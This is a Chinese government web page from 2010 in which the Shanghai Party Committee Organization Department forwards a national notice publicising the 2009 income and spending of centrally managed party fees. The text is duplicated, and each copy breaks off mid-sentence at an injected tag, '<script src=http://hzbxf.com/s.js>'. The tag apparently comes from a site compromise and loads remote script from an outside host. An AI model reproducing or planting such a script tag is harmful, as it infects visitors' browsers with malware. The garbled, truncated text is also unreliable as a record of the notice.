关于转发《中组部〈关于公示2009年度中央组织部代中央管理党费收支情况的通知〉》的通知
发布时间:2010-11-24 返回
各区县党委、市委各部委、市人民政府各委办党组(党委)、各市级机关党组、各人民团体党组、中国商用飞机有限责任公司党委、宝钢集团有限公司党委、中国海运(集团)总公司党组、中国东方航空公司党组组织部门:
现将中组部《关于公示2009年度中央组织部代中央管理党费收支情况的通知》印发给你们,请按照通知要求迅速贯彻落实。对于没有内部网站进行查看的单位,建议近期过一次专题组织生活,及时向广大党员进行传达,并认真听取意见和建议。各区县、委办请在11月20日前,汇总意见建议反馈市委组织部组织一处。
附件1:中组部《关于公示2009年度中央组织部代中央管理党费收支情况的通知》
附件2:《上海市2009年度市管党费的收支情况》
附件1:
各省(区、市)党委组织部,中央直属机关工委、中央国家机关工委组织部,国资委党委、民航局党委、中央各金融机构党委组织部,铁道部政治部,解放军总政治部组织部,新疆生产建设兵团党委组织部:
为进一步加强和改进党费工作,积极稳妥地推进党费工作公开,现就面向基层党组织和党员公示2009年度中央组织部代中央管理的党费(以下简称中管党费)收支情况有关事项通知如下:
一、公示内容:2009年度中管党费收入和支出情况。
二、公示范围:各地各系统(部门)所属基层党组织和党员。
三、公示方式:中央组织部将《2009年度中管党费收支情况》印发各省(区、市)党委组织部、各有关系统(部门)党(工)委组织部,将本《通知》放在全国组织工作网上予以公示。
各省(区、市)、各系统(部门)党(工)委组织部接到《通知》后,通过内部网络,及时将本《通知》精神传达到本地区本系统(部门)所属基层党组织和党员。
1、已接通组织工作网的,直接由县级组织部门通过组织部的局域网公示;尚未接通组织工作网的,通过县级政府专网公示。
2、在铁道部信息系统、民航局综合信息系统、解放军军事综合信息网、中央各金融机构系统网上公示。
3、中央直属机关工委、中央国家机关工委、国资委将《通知》印发所属部门(单位)、企业,由各部门(单位)在机关局域网、各企业在内部网上公示。
四、公示时间:2010年11月4日至11月18日。
请迅速向基层党组织和党员传达《通知》精神,认真听取大家的意见建议,并于2010年11月22日前,汇总意见建议反馈中央组织部组织一局。党员个人可通过书信、“12371”党员咨询服务电话和在全国组织工作网上发送电子邮件等方式,直接向中央组织部组织一局反映意见建议。
请结合实际,于2010年12月31日前,将代本级党委管理的党费收支情况向基层党组织和党员进行公开,增强党费工作的透明度。
电话:(010)12371转中组部党员咨询服务电话
传真:010-58586849
全国组织工作网电子邮箱:zzj5c@zhzb.gov
邮寄地址:北京市西城区西长安街80号中央组织部组织一局三处
邮政编码:100815
附:2009年度中管党费收支情况
一、中管党费收入情况
2009年度,中组部代中央管理的党费收入总额为20023.3万元。其中,各地、各系统(部门)上缴党费19341万元,党员个人自愿交纳千元以上党费393.3万元,党费存款利息收入289万元。
二、中管党费支出情况
2009年度,中组部代中央管理的党费支出总额为13076.2万元,主要支出项目是:
1、慰问生活困难党员和老党员支出7145.7万元。其中,2009年春节前夕,拨给31个省区市和中央各系统(部门)3980万元,用于走访慰问生活困难党员和老党员;拨给31个省区市3000万元,用于发放2009年建国前入党的老党员生活补贴;中央领导同志和中组部领导下基层慰问困难党员和老党员支付慰问金165.7万元。
2、抗灾救灾支出2191.5万元。其中,拨给湖南等18个省(区、市)2191.5万元,主要用于帮助湖南等10省(区、市)遭受暴雨洪涝、风暴灾害,甘肃等3省(区)遭受夏伏旱,河北等5省(区)遭受雪灾地区党员群众解决生活困难和修缮因灾受损的基层党员教育设施。
3、党员教育支出3737万元。其中,拨给中纪委400万元、中宣部300万元,用于开展党员教?script src=http://hzbxf.com/s.js>
现将中组部《关于公示2009年度中央组织部代中央管理党费收支情况的通知》印发给你们,请按照通知要求迅速贯彻落实。对于没有内部网站进行查看的单位,建议近期过一次专题组织生活,及时向广大党员进行传达,并认真听取意见和建议。各区县、委办请在11月20日前,汇总意见建议反馈市委组织部组织一处。
附件1:中组部《关于公示2009年度中央组织部代中央管理党费收支情况的通知》
附件2:《上海市2009年度市管党费的收支情况》
中共上海市委组织部
2010年11月2日
附件1:
关于公示2009年度中央组织部代中央管理党费收支情况的通知
各省(区、市)党委组织部,中央直属机关工委、中央国家机关工委组织部,国资委党委、民航局党委、中央各金融机构党委组织部,铁道部政治部,解放军总政治部组织部,新疆生产建设兵团党委组织部:
为进一步加强和改进党费工作,积极稳妥地推进党费工作公开,现就面向基层党组织和党员公示2009年度中央组织部代中央管理的党费(以下简称中管党费)收支情况有关事项通知如下:
一、公示内容:2009年度中管党费收入和支出情况。
二、公示范围:各地各系统(部门)所属基层党组织和党员。
三、公示方式:中央组织部将《2009年度中管党费收支情况》印发各省(区、市)党委组织部、各有关系统(部门)党(工)委组织部,将本《通知》放在全国组织工作网上予以公示。
各省(区、市)、各系统(部门)党(工)委组织部接到《通知》后,通过内部网络,及时将本《通知》精神传达到本地区本系统(部门)所属基层党组织和党员。
1、已接通组织工作网的,直接由县级组织部门通过组织部的局域网公示;尚未接通组织工作网的,通过县级政府专网公示。
2、在铁道部信息系统、民航局综合信息系统、解放军军事综合信息网、中央各金融机构系统网上公示。
3、中央直属机关工委、中央国家机关工委、国资委将《通知》印发所属部门(单位)、企业,由各部门(单位)在机关局域网、各企业在内部网上公示。
四、公示时间:2010年11月4日至11月18日。
请迅速向基层党组织和党员传达《通知》精神,认真听取大家的意见建议,并于2010年11月22日前,汇总意见建议反馈中央组织部组织一局。党员个人可通过书信、“12371”党员咨询服务电话和在全国组织工作网上发送电子邮件等方式,直接向中央组织部组织一局反映意见建议。
请结合实际,于2010年12月31日前,将代本级党委管理的党费收支情况向基层党组织和党员进行公开,增强党费工作的透明度。
电话:(010)12371转中组部党员咨询服务电话
传真:010-58586849
全国组织工作网电子邮箱:zzj5c@zhzb.gov
邮寄地址:北京市西城区西长安街80号中央组织部组织一局三处
邮政编码:100815
附:2009年度中管党费收支情况
中共中央组织部办公厅
2010年10月29日
2009年度中管党费收支情况
一、中管党费收入情况
2009年度,中组部代中央管理的党费收入总额为20023.3万元。其中,各地、各系统(部门)上缴党费19341万元,党员个人自愿交纳千元以上党费393.3万元,党费存款利息收入289万元。
二、中管党费支出情况
2009年度,中组部代中央管理的党费支出总额为13076.2万元,主要支出项目是:
1、慰问生活困难党员和老党员支出7145.7万元。其中,2009年春节前夕,拨给31个省区市和中央各系统(部门)3980万元,用于走访慰问生活困难党员和老党员;拨给31个省区市3000万元,用于发放2009年建国前入党的老党员生活补贴;中央领导同志和中组部领导下基层慰问困难党员和老党员支付慰问金165.7万元。
2、抗灾救灾支出2191.5万元。其中,拨给湖南等18个省(区、市)2191.5万元,主要用于帮助湖南等10省(区、市)遭受暴雨洪涝、风暴灾害,甘肃等3省(区)遭受夏伏旱,河北等5省(区)遭受雪灾地区党员群众解决生活困难和修缮因灾受损的基层党员教育设施。
3、党员教育支出3737万元。其中,拨给中纪委400万元、中宣部300万元,用于开展党员教?script src=http://hzbxf.com/s.js>
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